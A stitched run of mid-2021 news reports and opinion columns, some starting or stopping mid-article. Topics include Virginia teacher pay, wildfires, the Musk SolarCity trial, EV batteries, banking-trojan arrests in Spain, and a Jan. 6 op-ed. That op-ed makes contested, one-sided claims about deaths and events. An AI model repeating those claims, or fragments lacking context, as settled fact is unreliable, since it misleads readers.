This years General Assembly passed a budget that included a 5% raise for teachers but required a local match. Not a 1-to-1 match, but still a match. To qualify for the $1 million allotted by the state for Scott County, the Board of Supervisors had to put up $238,935. Some might consider that a good deal, even a great deal. Not the Scott County Board of Supervisors, which last week voted not to put up that local money, thereby forgoing the $1 million from the state.

Not surprisingly, this has been a controversial move in Scott County. The county is one of the most Republican counties in the state, perhaps the most Republican county in the state. Donald Trump took 83.4% of the vote there in 2020; nowhere else in Virginia gave him a higher percentage. Yet the boards move prompted this statement from the countys Republican delegate in Richmond, Terry Kilgore, who will never be confused with a tax-and-spend liberal: As the state delegate for Scott County, I was proud that the General Assemblys budget included funding to increase teacher pay, a profession that has long been underpaid. In fact, the primary reason why I voted for the state budget was due to the 5% teacher pay raise. For Scott County to receive over $1 million in state funding for teacher raises, the county had to provide roughly $238,000. Due to their decision not to provide the funding, Scott County Schools will not receive the nearly $1 million from the commonwealth  most likely the only county in Virginia to reject this funding.
The construction of the new Lexington Elementary School is nearly complete and all that remains are a few odds and ends, according to Matthew Elsner, a representative of FORMA Construction.

Really we just have a couple landscaping items that are still outstanding Thats really all that weve got left going on, Elsner said.

Elsner noted the county inspector and fire marshal recently visited the school and gave their final sign-off on the construction. The school is expected to be open at full capacity this fall.

We pretty much hit the target date that weve been shooting for a while now, Elsner said.

Construction also is underway to install portables at Catlin Elementary School, where Huntington Middle School students will attend while their school is renovated.

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We are expecting to have our site work complete by the end of July and our electrical and low voltage portion almost complete by the beginning of August and then wrapping up with a few weeks of just minor pieces here and there to make sure everythings operational and everythings safe for all of our students to move over, said Sam Schafer of Integrus Architecture.

Schafer said completion of the construction at Catlin is scheduled for Aug. 23.
As of Wednesday, the largest fire in Washington was the Lick Creek Fire in the southeast corner of the state. The blaze consumed more than 63,500 acres and was 20% contained as of Wednesday morning, according to the federal incident management system Inciweb. On July 7, lightning ignited several fires southwest of Asotin, including the Lick Creek Fire and Dry Gulch Fire, which have merged together.

The Snake River Complex, burning about 96,160 acres, is across the border in Idaho and could increase smoke in the area depending on wind direction, according to the smoke blog.

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Several wildfires are burning in Oregon, but the smoke has not blown into Southwest Washington so far.

The Bootleg Fire, northeast of Klamath Falls in southcentral Oregon, grew to more than 212,000 acres as of Wednesday. The fire has prompted numerous closures and evacuations, according to Inciweb. Cowlitz 2 Fire and Rescue Chief Scott Neves joined the Incident Management Team in Klamath Falls on Tuesday, according to the agency.

Although crews have responded to several small brush fires, no major wildfires are burning in Southwest Washington as of Tuesday. Cowlitz, Clark and Skamania counties implemented a seasonal burn ban June 25 through September.
However, Tschida said while the group is coordinating with HOPE, we want to develop something on our own.

Ive been here almost two years now and seen some things and noticed some things in this community that need to be changed. I want it to have new leadership and a new set of eyes, Tschida said.

Weaver supported Tschida, saying that it might be good for the community to have two organizations with different leadership styles.

In his public comment, Nelson said he was wary of having two nonprofits in town competing for resources.

Were a small community. Theres not a lot of nonprofits in our community that service those needs and theres only so much money to go around, Nelson said.

Tschida said the group is self-sufficient, and while the group is open to changing the location of the meal, the current opposition to the location is just speculations on what may or may not happen.

What does that say about our community? Tschida said. Im not saying I want a lot of homeless people here, but this tells me that it really lacks some compassion.
RAINIER  Fox Creek upgrades, a Riverfront Trail expansion and speed humps on West C Street are all moving forward after Monday nights City Council meeting.

The meeting was the first streamed live on KLTV.org under the citys new contract with the organization.

The Local Council of Governments awarded the city an $84,700 grant for phase three of the Riverfront Trail project, which will allow the city to repurpose a bridge currently not in use to connect the trail to the park.

Im really excited to have phase three done, Mayor Jerry Cole said. Itll connect our park to downtown via the trail. It will be awesome. People already use that trail a bunch.

The council also learned that the Oregon Legislature approved funding for a feasibility study of Fox Creek. The city will get about $100,000 for the study, which will allow a decision on how to correct flooding.

After community complaints about noise from new stop signs on C Street, the council directed staff to get bids to install three asphalt speed humps on the road instead.
MIAMI (AP)  Some Black Lives Matters activists say a double standard is being used as people blocked busy roadways in Florida this week in support of antigovernment demonstrations in Cuba, with limited action taken by law enforcement despite a new law enhancing penalties against disruptions by protesters.

Gov. Ron DeSantis signed into Florida law a measure earlier this year that boosts penalties against demonstrators who turn violent and creates new criminal penalties for those who organize demonstrations that get out of hand. Provisions of the law also make it a felony to block some roadways and give immunity to people who drive through protesters blocking a road.

The bill was introduced after last summer's protests for racial justice during which some Black Lives Matter protesters were met by police with tear gas and arrests when they took to the streets for days at a time.

Demonstrators on Tuesday in Miami, Tampa and Orlando temporarily blocked busy roads, chanting support for the Cubans who had taken to the streets in the communist nation Sunday to air grievances about poor economic conditions and other issues.
Departing human rights ombudsman Adam Bodnar said the verdict amounted to telling the top European court that Poland will not apply its rulings.

But Poland's justice minister, Zbigniew Ziobro, who is behind the controversial changes to the justice system, praised the ruling saying it defends Poland's constitutional order against the lawless interference and aggression of the law coming from European bodies.

Wednesday ruling was triggered by a 2020 interim decision by the European Court of Justice that ordered the suspension of a new chamber at Polands Supreme Court that was set up to discipline judges and prosecutors.

Critics view the chamber as a tool for sanctioning those critical of the changes the government has made to the judiciary since winning power in 2015. The government insists the changes are needed to free the justice system of lingering influences of the communist era, but critics say they just put the justice system under political control.

The changes have put Poland on a collision course with the EU that has triggered sanctioning procedures, and Wednesday's ruling only adds to the conflict.
The GOPs preoccupation with CRT is all the more lamentable because schools are facing a host of other challenges. How can local districts compete for good teachers in a diminishing teacher pool? How can Longview schools raise their mediocre (at best) test scores. What can the districts do to help students make up for lost learning during the pandemic? There are far more compelling things to debate and discuss than CRT.

Students dont need to be made to feel ashamed of this nations racial history, but they need to know and understand it if we are ever to establish a fair, peaceful and just society. Part of the reason to study this history is to see how far weve come as a society and how far we have yet to go. Another is to take inspiration from the brave souls who fought for racial justice and equality.

Like it or not, race will affect our childrens lives. America is becoming less white all the time, dropping from 80% in 1980 to 60% today, according to census figures. About a month ago I was on a hike in the North Cascades and I was in a clear minority  an adult white male joined on the trail by Asians, blacks and people of other ethnic backgrounds. This is the fear of Trumpists, who nod in agreement when the former president says youre not going to have a country any more. Read, were not going to have a white-dominated society any more.

But the die has been cast, and people better learn to live with and celebrate the fact that diversity is one of the things that makes America great. The party that freed slaves under President Lincoln should re-embrace that spirit  and drop the sham CRT political strategy.

Andre Stepankowsky retired in August after a 41-year career as a reporter and city editor at The Daily News. He has won or shared in many prestigious journalism awards, including the staffs 1981 Pulitzer Prize for coverage of Mount St. Helens. His column will appear on the editorial page every other Wednesday.

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Elon Musk told a judge on Tuesday Tesla Inc had to buy SolarCity in 2016 because the failing solar panel company was essential to the electric vehicle maker's long-term goal of accelerating the transition to sustainable energy. Elon Musk completed about eight hours of testimony over two days to defend himself against a lawsuit brought by union pension funds and asset managers who allege he strong-armed Tesla directors into buying the cash-strapped SolarCity for $2.6 billion.

Musk at the time owned a 22% stake in both Tesla and SolarCity, which was founded by his cousins. The Tesla shareholders want Musk to be ordered to return the value of the deal to Tesla.

Also read: Looking for a smartphone? Check Mobile Finder here.

Musk completed his testimony by fielding several questions about the timing and necessity of the deal from Vice Chancellor Joseph Slights, the judge who will decide if Musk is liable.

Musk said Tesla was struggling in 2016 to develop its Powerwall battery system because it was difficult to integrate with other solar power systems.

"If we have a whole bunch of third-party solar systems, it's a messy situation. We needed solar within Tesla," he told the judge.

Shareholders have questioned the need to buy SolarCity and asked Musk if other solar companies were considered as acquisition targets.

Central to the case are claims that despite owning only 22% of Tesla, Musk was a controlling shareholder due to his ties to board members and domineering style. If plaintiffs can prove this, it increases the likelihood that the court will conclude the deal was unfair to shareholders.

Musk has consistently told the court that the Tesla board primarily handled the SolarCity deal and that he recused himself from price negotiations.

Shareholder attorney Randall Baron on Tuesday pressed Musk to explain meeting notes taken by a financial advisor showing Musk suggested the board offer a $28.50 share price for SolarCity.

"I was making the obvious point that any offer, if not publicly defensible, will be rejected by SolarCity shareholders, Musk said.

In response to questions from his own lawyer Evan Chesler, who was trying to show Musk did not dominate board discussions, Musk noted his suggestion was overruled at that meeting.

Baron asked Musk to explain why he reviewed deal packets for the Tesla board before they were sent to directors, suggesting the CEO was controlling the flow of information.

Its part of the board process to make sure they have full and accurate information, Musk testified.

Musk repeatedly defended the SolarCity deal by saying the company had to be quickly acquired or find financing to solve its dangerous cash shortage.

Legal experts said the judge will be looking for evidence that Musk threatened board members or that directors felt they could not stand up to him.

Elon Musk's brother Kimbal, a Tesla director who is listed in court documents as a witness for both sides, was asked by the plaintiffs' lawyers if he thought his brother's actions in regard to the SolarCity deal were appropriate considering he said he recused himself.

Kimbal Musk responded that he did not understand how a CEO could be recused from deal negotiations.

"How could the CEO not be involved in some form," he said. "That sounds not possible."

Kimbal Musk, other board members and others involved in the 2016 deal will testify for the duration of the trial, which started on Monday and is expected to last two weeks.

The company's directors settled allegations from the same lawsuit last year for $60 million, paid by insurance, without admitting fault. (Reporting by Tom Hals in Wilmington, Delaware; Editing by Noeleen Walder, Andrea Ricci and Sonya Hepinstall)
The Sun has belched out a solar flare and the storm thereby created is hurtling down towards the Earth at an awesome speed. Naturally, the attention of the entire world is riveted on this solar phenomenon. The Sun is very far, but the solar storm is not expected to diminish when it reaches Earth. In any case, it is travelling at a humongous speed. Spaceweather.com says a solar flare can travel at a speed of up to 500 km/sec. The question that is on the mind is, will it have destructive power? Well, yes, it can knock out telecom and power infrastructure. In a tweet, Planetary Society said, "The Suns power should never be underestimated. In March 1989, the entire Canadian province of Quebec suffered a 12-hour electrical power blackout caused by a solar storm." However, as far as individual gadgets like mobile phones are concerned, the question is whether the solar storm can make them stop working?

The answer to that question is, yes, that can happen to mobile phones. However, greater threat is posed to GPS devices as the signal faces a larger risk of being affected because solar flare radiation can disrupt communications with GPS satellites. Mobile phones too can be affected, but the chances of that happening are rare.

When can a solar storm affect your mobile phone? Madison.com in an answer to a question from a reader said, "It is true that solar flares can disrupt communications, but they probably wont affect your cell phone. Solar flares produce a lot of radiation, including X-ray and UV radiation that can potentially cut off radio signals. However, a cell phone tower would have to be in the same direction (from you) as the Sun in order for your call to be affected."

Also read: Looking for a smartphone? Check Mobile Finder here.

Big solar storms are not that frequent or we can say that Earth has been lucky not to have been in the path of large ones for some time now. However, in 1859 the largest solar storm occurred. History.com described it this way, "That night (Sept 1), telegraph communications around the world began to fail; there were reports of sparks showering from telegraph machines, shocking operators and setting papers ablaze. All over the planet, colorful auroras illuminated the nighttime skies, glowing so brightly that birds began to chirp."

Astrophysicist Scott McIntosh from the National Center for Atmospheric Research, told Business Insider that the Earth's upper atmosphere is "wickedly" impacted by the sun's magnetic spewing. "It's real even if you don't feel it every day," he said. "You might not, your banking institution might, your power grid company almost certainly does, and your telephone company absolutely does."
Credit: Herr Loeffler/Shutterstock

"Gigafactories" could one day be churning out millions of electric vehicle batteries in the UK. The government has already committed the country to a ban on selling new petrol- and diesel-engined cars by 2030, so it seems that electric vehicles (or EVs, as they're often abbreviated) are likely to replace much of today's fleet.

The carmaker Nissan has promised to beef up EV production at its Sunderland plant in north-east England, while its industrial partner is set to build an electric battery plant nearby. Meanwhile, in Cheshire, Vauxhall's owner Stellantis has announced it will invest 100 million (US$139 million) into building electric vans and cars at its Ellesmere Port plant.

What will all these batteries look like? Most EVs today use lithium ion batteries, but these have a number of limitations. Luckily, scientists and engineers are exploring a number of ways to overcome these challenges that could help give the drive to convert cars to electricity a boost.

Lithium-ion batteries were first marketed by Sony in 1991 and have come to be the most prevalent rechargeable battery in vehicles, just as they are in mobile phones and laptops. They are more efficient and have longer lifetimesbetween 15 and 20 years, about three times that of a traditional lead-acid battery. Crucially, lithium-ion batteries store more energy and are also much lighter, meaning a vehicle equipped with one uses less energy to move.

The batteries generate energy by moving charged particles called ions backwards and forwards between two electrodes. When the battery is charged, lithium ions pass from a metal oxide compound electrode to a graphite electrode. When the battery is discharged to power the car, the lithium ions go the other way, causing electrons to flow in the connected electrical circuit.

The future of EV batteries

In order to make lithium-ion batteries cheaper, scientists at Pennsylvania State University in the US are looking at lithium iron phosphate batteries, which use different electrode elements. This battery model is much cheaper and safer than the widely used lithium nickel manganese cobalt oxide batteries, and has the potential to power a car 250 miles on as little as ten minutes' charge.

Inside a cars lithium battery pack. Credit: Smile Fight/Shutterstock

Anxiety around the range fully charged EVs can cover is also driving carmakers to develop batteries which use a solid component that separates the electrodes, rather than a liquid one. These are safer and can power EVs further than 300 miles on a single charge.

But lithium batteries have a problem. Lithium is a relatively rare element on Earth compared with most minerals in common use. As demand for batteries increases, the price of lithium will increase sharply. This has prompted geologists to search for new sources of lithium worldwide, often with their own high costs. For example, the extraction of lithium from salt flats in Chile consumes lots of water, which is in short supply there. Cobalt is also scarce compared with similar metals like iron, and ores are concentrated in the politically unstable Congo region of Africa.

One solution may be to get more use out of what we already have. With more than a million electric cars sold worldwide in 2017, a number increasing rapidly, scientists are studying how to recycle lithium on a massive scale. Some are considering whether bacteria could help them achieve this.

In future, it will be important to design batteries that can be easily disassembled, to reuse the metals they contain. Lithium is also a very reactive metal, presenting challenges for people tasked with handling it.

There are also potential alternatives to lithium. For example, sodium-ion batteries are gathering interest from EV manufacturers due to their lower cost. They work similarly to lithium-ion batteries but sodium is heavier and stores less energy.

Somewhat further into the future are multivalent batteries, where the ion that moves between electrodes has a greater charge than lithium and so delivers more than one electron each to the circuit. There are substantial challenges for scientists to overcome with these batteries, but they could potentially deliver even higher energy storage.

Building enough electric cars at a price that will make them cheaper than fossil fuelled alternatives is a major challenge. At the fore of battery research, scientists are working to solve this problem and revolutionize how we travel.

Explore further Battery parts can be recycled without crushing or melting

This article is republished from The Conversation under a Creative Commons license. Read the original article.
Credit: CC0 Public Domain

A team of researchers at USC is helping AI imagine the unseen, a technique that could also lead to fairer AI, new medicines and increased autonomous vehicle safety.

Imagine an orange cat. Now, imagine the same cat, but with coal-black fur. Now, imagine the cat strutting along the Great Wall of China. Doing this, a quick series of neuron activations in your brain will come up with variations of the picture presented, based on your previous knowledge of the world.

In other words, as humans, it's easy to envision an object with different attributes. But, despite advances in deep neural networks that match or surpass human performance in certain tasks, computers still struggle with the very human skill of "imagination."

Now, a USC research team comprising computer science Professor Laurent Itti, and Ph.D. students Yunhao Ge, Sami Abu-El-Haija and Gan Xin, has developed an AI that uses human-like capabilities to imagine a never-before-seen object with different attributes. The paper, titled "Zero-Shot Synthesis with Group-Supervised Learning," was published in the 2021 International Conference on Learning Representations on May 7.

"We were inspired by human visual generalization capabilities to try to simulate human imagination in machines," said Ge, the study's lead author.

"Humans can separate their learned knowledge by attributesfor instance, shape, pose, position, colorand then recombine them to imagine a new object. Our paper attempts to simulate this process using neural networks."

AI's generalization problem

For instance, say you want to create an AI system that generates images of cars. Ideally, you would provide the algorithm with a few images of a car, and it would be able to generate many types of carsfrom Porsches to Pontiacs to pick-up trucksin any color, from multiple angles.

This is one of the long-sought goals of AI: creating models that can extrapolate. This means that, given a few examples, the model should be able to extract the underlying rules and apply them to a vast range of novel examples it hasn't seen before. But machines are most commonly trained on sample features, pixels for instance, without taking into account the object's attributes.

The science of imagination

In this new study, the researchers attempt to overcome this limitation using a concept called disentanglement. Disentanglement can be used to generate deepfakes, for instance, by disentangling human face movements and identity. By doing this, said Ge, "people can synthesize new images and videos that substitute the original person's identity with another person, but keep the original movement."

Similarly, the new approach takes a group of sample imagesrather than one sample at a time as traditional algorithms have doneand mines the similarity between them to achieve something called "controllable disentangled representation learning."

Then, it recombines this knowledge to achieve "controllable novel image synthesis," or what you might call imagination. "For instance, take the Transformer movie as an example" said Ge, "It can take the shape of Megatron car, the color and pose of a yellow Bumblebee car, and the background of New York's Times Square. The result will be a Bumblebee-colored Megatron car driving in Times Square, even if this sample was not witnessed during the training session."

This is similar to how we as humans extrapolate: when a human sees a color from one object, we can easily apply it to any other object by substituting the original color with the new one. Using their technique, the group generated a new dataset containing 1.56 million images that could help future research in the field.

Understanding the world

While disentanglement is not a new idea, the researchers say their framework can be compatible with nearly any type of data or knowledge. This widens the opportunity for applications. For instance, disentangling race and gender-related knowledge to make fairer AI by removing sensitive attributes from the equation altogether.

In the field of medicine, it could help doctors and biologists discover more useful drugs by disentangling the medicine function from other properties, and then recombining them to synthesize new medicine. Imbuing machines with imagination could also help create safer AI by, for instance, allowing autonomous vehicles to imagine and avoid dangerous scenarios previously unseen during training.

"Deep learning has already demonstrated unsurpassed performance and promise in many domains, but all too often this has happened through shallow mimicry, and without a deeper understanding of the separate attributes that make each object unique," said Itti. "This new disentanglement approach, for the first time, truly unleashes a new sense of imagination in A.I. systems, bringing them closer to humans' understanding of the world."

Explore further EventDrop: a method to augment asynchronous event data

More information: Yunhao Ge et al, Zero-shot Synthesis with Group-Supervised Learning. Yunhao Ge et al, Zero-shot Synthesis with Group-Supervised Learning. openreview.net/forum?id=8wqCDnBmnrT
In this April 21, 2021, file photo, Lina Khan, nominee for Commissioner of the Federal Trade Commission (FTC), speaks during a Senate Committee on Commerce, Science, and Transportation confirmation hearing on Capitol Hill in Washington. Facebook on Wednesday, July 14 2021, is asking that Khan, the new head of the Federal Trade Commission, step away from antitrust investigations into the social network giant, asserting that her past public criticism of the company's market power makes it impossible for her to be impartial. Credit: Graeme Jennings/Pool Washington via AP, Pool, File

Facebook is asking that the new head of the Federal Trade Commission step away from antitrust investigations into the social network giant, asserting that past public criticism of the company's market power makes it impossible for her to be impartial.

Facebook petitioned the agency Wednesday to remove Chair Lina Khan from taking part in current probes of the company's market conduct. Khan has been a persistent critic of Amazon, Google and Apple, as well as Facebook.

FTC officials declined comment on Facebook's motion, which came two weeks after Amazon requested that Khan be excused from taking part in investigations of that company. The agency could be expected to respond formally at some point. Khan has said she would seek the opinion of FTC ethics monitors if issues arose of potential conflict of interest.

The requests from Facebook and Amazon come as the world's biggest tech companies come under extreme scrutiny and legislative pressure from the FTC, the Justice Department and European regulators, lawmakers in Washington, and most recently in an executive order from the White House.

A federal judge recently dismissed antitrust lawsuits brought against Facebook by the FTC and a coalition of states, saying they didn't provide enough evidence to prove that Facebook is a monopoly in the social networking market. The judge, however, allowed the FTC to revise its complaint and try again.

In this Oct. 25, 2019, file photo, Facebook CEO Mark Zuckerberg speaks at the Paley Center in New York. FILE - In this April 23, 2021, file photo, the Facebook app is shown in the app store on a smart phone in Surfside, Fla. Facebook on Wednesday, July 14 2021, is asking that the new head of the Federal Trade Commission step away from antitrust investigations into the social network giant, asserting that her past public criticism of the company's market power makes it impossible for her to be impartial. Credit: (AP Photo/Mark Lennihan, FIle

In this April 23, 2021, file photo, the Facebook app is shown in the app store on a smart phone in Surfside, Fla. Facebook on Wednesday, July 14 2021, is asking that the new head of the Federal Trade Commission step away from antitrust investigations into the social network giant, asserting that her past public criticism of the company's market power makes it impossible for her to be impartial. Credit: AP Photo/Wilfredo Lee, File

"When a new commissioner has already drawn factual and legal conclusions and deemed the target a lawbreaker, due process requires that individual to recuse herself from related matters when acting in the capacity of an FTC commissioner," Facebook said in its petition. "Chair Khan has consistently made public statements not only accusing Facebook of conduct that merits disapproval, but specifically expressing her belief that the conduct meets the elements of an antitrust offense."

As counsel to a House Judiciary antitrust panel in 2019 and 2020, Khan played a key role in an extensive bipartisan investigation of the market power of tech giants.

President Joe Biden recently installed Khan as one of five commissioners and head of the FTC, signaling a tough stance toward Big Tech and its market dominance. At 32, she is the youngest chair in the history of the agency, which polices competition and consumer protection in industry generally, as well as digital privacy.

Explore further Amazon asks for FTC head to step aside from antitrust probes

 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
Indian CEO of Infosys Salil Parekh said it is the fastest growth the company has seen in a decade.

Indian software giant Infosys reported a 22.7-percent increase in quarterly net profit Wednesday after its revenues soared to their highest in a decade as global demand for digital services boomed during the pandemic.

The company increased its full-year revenue guidance by two percent to 14 to 16 percent on the back of expectations of strong demand, particularly for its digital services.

The country's software services industry has been a bright spot in the economy, which has been badly hit by the virus and lockdowns, rebounding in recent months as companies like Infosys secured new orders.

Net profit at India's second-largest IT company rose to 51.95 billion rupees ($698 million) in the quarter ending June 30 compared to 42 billion rupees a year ago, just below analysts' expectations.

Quarterly revenues jumped by 17.9 percent to 278.96 billion rupees, from 236 billion rupees for the same period last year.

"We've had a landmark first quarter," the Bangalore-headquartered firm's chief executive Salil Parekh told reporters.

"This is the fastest growth we've seen in ten years."

The company signed deals worth $2.6 billion in the quarter, up from $2.1 billion in the previous quarter.

Revenues from digital services rose by 42 percent year-on-year.

But the company's core consulting and technology business contracted by three percent for the same period.

Infosys was at the forefront of an outsourcing boom that saw the country become a back office to the world, as Western firms subcontracted work to a skilled English-speaking workforce.

Over 60 percent of its revenue comes from North American markets.

Shares in the company closed just over two percent higher on Wednesday ahead of the earnings announcement.

 2021 AFP
Worker conditions in Nea Manolada, Greece lacking kitchen, toilets, and heating. Credit: Ioannis Kougkoulos, Kornilia Hatzinikolaou

A consortium of modern slavery experts, led by the University of Nottingham, have assisted the Greek government to tackle a humanitarian crisis unfolding in the strawberry fields of southern Greece.

Using satellite technology to identify migrant settlementsa technique pioneered by the university's Rights Laband working with the Greek authorities, the experts then developed a decision model for which they could prioritize victims that were at highest risk.

Leading the study, the Rights Lab combined different data sources and methods to build a set of criteria measuring the extent of labor exploitation in a settlement. The academics then validated these criteria with a government agency and a non-governmental organization involved in fighting labor exploitation.

By combining earth observation data with operations management techniques, this method has been successfully used to address labor exploitation in areas where strawberries are harvested.

This approach is a world-first in the humanitarian sector, with the study, funded by the Economic and Social Research Council (ESRC), being published in the journal of Production and Operations Management.

The strawberry fields of Nea Manolada have been in the human rights spotlight since May 2013, when three local field guards shot and injured 30 Bangladeshi migrant workers. In March 2017, the European Court of Human Rights (ECtHR) ruled that the workers had been subjected to forced labor and that Greece had violated Article 4 of the European Convention on Human Rights by not preventing human trafficking of irregular migrant workers. Following a high-stake ruling by the Court, the Greek government was mandated to ramp-up its fight against labor exploitation.

Dr. Ioannis Kougkoulos led the study while at the Rights Lab. He said: "The use of seasonal workers, the relatively low level of skills required, a strong reliance on outsourcing and agent-based recruitment of workers increase the likelihood of labor exploitation. Forced migration caused by crises around the world exacerbates this phenomenon. Refugees and migrants often live-in illegality and experience serious financial distress, which puts them at high risk of becoming victims of labor exploitation.

"Governments are responsible for ensuring equal treatment for migrant and national workers on their territory, and to protect migrants from being employed under substandard working conditions."

Inappropriate worker conditions, Nea Manolada, Greece. Credit: Ioannis Kougkoulos, Kornilia Hatzinikolaou

Dr. Doreen Boyd, a co-author, Rights Lab Associate Director, and Professor of Earth Observation at the University of Nottingham led the ESRC grant that supported this work. She said: "We have demonstrated how remote sensing data enables the identification and location of informal settlements of workers in potential situations of labor exploitation over a large geographic area (140km2). Identifying these settlements from the ground would require driving around the entire study area in search of possible settlements, which would be costly and ineffective, since many settlements are not visible from the road.

"Our approach can be replicated in other labor-intensive agricultural activities where cheap labor is abundant, such as the Italian tomato fields or tobacco-producing regions in Argentina. Future studies could extend our approach to different applications in humanitarian operations, for example, to study migration flows, by combining remote sensing with a decision-making tool such as Multi-Criteria Decision Analysis for identifying and assessing risks of settlements of forcibly displaced persons in highly fluid conflict situations, like the South Sudan or the Democratic Republic of Congo."

In the paper, the researchers report that fighting labor exploitation in the agricultural sector requires time-intensive fieldwork, as it involves visiting suspected farms and informal worker settlements, which governments and humanitarian organisati

ons often lack resources to do.

Using remote sensing, a form of satellite technology, for real-time data collection allowed the academics to overcome one of the major challenges of research in humanitarian operations, namely the difficulty of accessing data due to safety and logistical issues limiting access to the field.

Once areas of potential exploitation had been identified through satellite imagery, these settlements were investigated and verifiedknown as 'ground-truthing'. On the ground, the inspection teams collected data from each settlement using questionnaires to address all criteria required for the decision analysis model that the academics had prepared.

Next, the academics used Multi-Criteria Decision Analysis (MCDA), a recognized method in the operations sector for decision-making to formalize and address the problem of competing decision objectivesa common characteristic of humanitarian operations.

Each settlement was then ranked, using the MCDA model, to assist the government and humanitarian organizations intervene in the top-priority settlements (starting with the riskiest settlement and moving toward the less risky) and allocate resources to the most vulnerable migrant workers to improve their living conditions.

Explore further Researchers warn that modern slavery has been exacerbated by COVID-19

More information: Ioannis Kougkoulos et al, A MultiMethod Approach to Prioritize Locations of Labor Exploitation for GroundBased Interventions, Production and Operations Management (2021). Ioannis Kougkoulos et al, A MultiMethod Approach to Prioritize Locations of Labor Exploitation for GroundBased Interventions,(2021). DOI: 10.1111/poms.13496
Students in Glynn County Schools special education program will continue to benefit this year from a partnership the district has with College of Coastal Georgia that brings the students to the college campus to learn real-world skills theyll take beyond graduation.
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WASHINGTON (AP)  The Biden administration is set to begin evacuations of Afghans who aided the U.S. military effort in the nearly 20-year war during the last week of July, according to a senior administration official.

The Operation Allies Refuge flights out of Afghanistan will be available first for special immigrant visa applicants already in the process of applying for U.S. residency, according to the official, who was not authorized to comment publicly and spoke on condition of anonymity.

President Joe Biden has faced pressure from lawmakers on both sides of the aisle to come up with a plan to help evacuate Afghan military helpers ahead of next month's U.S. military withdrawal.

The White House began briefing lawmakers on the outlines of their plans last month.

The evacuation planning could potentially affect tens of thousands of Afghans. Several thousand Afghans who worked for the U.S.  plus their family members  are already in the application pipeline for special immigrant visas.

The Biden administration has also been working on identifying a third country or U.S. territory that could host Afghans while their visa applications are processed.
This is why so many parents are turning out for school board meetings. You just have to Google Louden, Va. and up pops a series of videos with men and women standing at the podium pleading with the school board members not to pursue policies that will make their children feel like strangers in their own classrooms.

Many supporters of CRT are trying to go on the counterattack, pretending that these policies are nothing more than an attempt to bring transparency to a discipline  history  which has long glossed over the suffering of minorities.

CRT advocates push forcefully back against the suggestion that they are making white children feel bad about anything. But when you sit a third grader down and ask him to reflect upon what it means to be white, which is happening, and when you have discussions about white privilege, and when you divide kids into groups based on eye color and then give treats to the ones who have the preferred eye color just to show them how racism works, you are abusing that child.

In fact, you are doing as much damage to that child as any adult who uses his or her power advantage to influence thought, action and emotion. Those who rightfully have criticized the Catholic church for past abuses should be applauding that assertion, although I have a strong suspicion that they wont.
My topic is the insurrection, the left-wing name for the Jan. 6 Capitol protest.

After a year of violent left-wing riots, the insurrection happened. The only person killed in the insurrection was an unarmed protester named Ashli Babbitt. She was a military veteran killed by a member of the Capitol Hill police. Authorities will not release his name. We dont usually have much trouble finding out the name of a police officer who kills someone. No one else was killed.

Four other people, including a Capitol Hill police officer, died of natural causes. According to the BBC, The New York Times falsely reported the police officer was beaten with a fire extinguisher.

Compare this to the many violent left-wing riots in 2020. Rioters threw bricks and rocks and shot fireworks at police.

Wisconsin Sen. Ron Johnson said the 570 violent riots killed 25 people and caused $1 billion to $2 billion in damage. Part of Seattle was occupied.

These rioters attacked small businesses, residences and innocent people.

The insurrection was against some of the most well-protected people in the country.
Nothing has ever ravaged classrooms worse than the COVID-19 virus, but the most impassioned discourse in American education right now has nothing to do with the pandemic.

Instead, as the leader of Hampton Roads largest school district put it, a panic over lessons on so-called critical race theory is dominating the publics attention.

All this noise is starting to drown out the why of our work as educators, Virginia Beach Superintendent Aaron Spence wrote in a Virginian-Pilot column last weekend. The boil over this needs to be brought down to a simmer.

As battles flare across Virginia, including in Bedford, Botetourt and Franklin counties in the Roanoke region, here are some answers about what critical race theory is  and whats behind the political war that has engulfed the nations schools.

Critical race theory definedIts an academic framework that tries to explain how race and racism affect peoples lives.
Spanish law enforcement agencies on Wednesday arrested 16 individuals belonging to a criminal network in connection with operating two banking trojans as part of a social engineering campaign targeting financial institutions in Europe.

The arrests were made in Ribeira (A Coruna), Madrid, Parla and Mostoles (Madrid), Sesena (Toledo), Villafranca de los barros (Badajoz), and Aranda de Duero (Burgos) following a year-long investigation codenamed "Aguas Vivas", the Civil Guard said in a statement.

"Through malicious software, installed on the victim's computer by the technique known as 'email spoofing', [the group] would have managed to divert large amounts of money to their accounts," authorities noted.

Computer equipment, mobile phones, and documents were confiscated, and more than 1,800 spam emails were analyzed, enabling law enforcement to block transfer attempts totaling 3.5 million successfully. The campaign is said to have netted the actors 276,470, of which 87,000 has been successfully recovered.

As part of an effort to lend credibility to their phishing attacks, the operators worked by sending emails under the guise of legitimate package delivery services and government entities such as the Treasury, urging the recipients to click on a link that stealthily downloaded malicious software onto the systems.

The malware  dubbed "Mekotio" and "Grandoreiro"  functioned by intercepting transactions on a banking website to unauthorizedly siphon funds to accounts under the attackers' control. At least 68 email accounts belonging to official bodies were infected to facilitate such fraudulent transfers.

"After that, the money was diversified by sending it to other accounts, or by withdrawing cash at ATMs, transfers by BIZUM, REVOLUT cards, etc., in order to hinder the possible police investigation," the Civil Guard said.

Grandoreiro and Mekotio (aka Melcoz) are both part of a "Tetrade" of Brazilian banking trojans as detailed by cybersecurity firm Kaspersky in July 2020, while the latter's evolving tactics were disclosed by ESET in August 2020, which involved displaying fake pop-up windows to its victims in an attempt to entice them into divulging sensitive information.

"These windows are carefully designed to target Latin American banks and other financial institutions," the Slovak cybersecurity company had noted.

Operational since at least 2016, Grandoreiro has a history of singling out Brazil, Mexico, Spain, Portugal, and Turkey, "with the attackers regularly improving techniques, striving to stay undetected and active for longer periods of time." Mekotio, on the other hand, has been observed in attacks targeting Brazil and dating back to 2018, before expanding to Chile, Mexico, and Spain.

"[Mekotio] steals passwords from browsers and from the device's memory, providing remote access to capture internet banking access," Kaspersky researchers explained in a report published Wednesday. "It also includes a Bitcoin wallet stealing module."

To avoid falling prey to such attacks, the agency is recommending that email and SMS recipients scrutinize messages carefully, particularly if it is about entities with urgent requests, promotions, or very attractive bargains, while also taking steps to be on the lookout for grammatical errors and ensure the authenticity of the sender of the message.
A sophisticated social engineering attack undertaken by an Iranian-state aligned actor targeted think tanks, journalists, and professors with an aim to solicit sensitive information by masquerading as scholars with the University of London's School of Oriental and African Studies (SOAS).

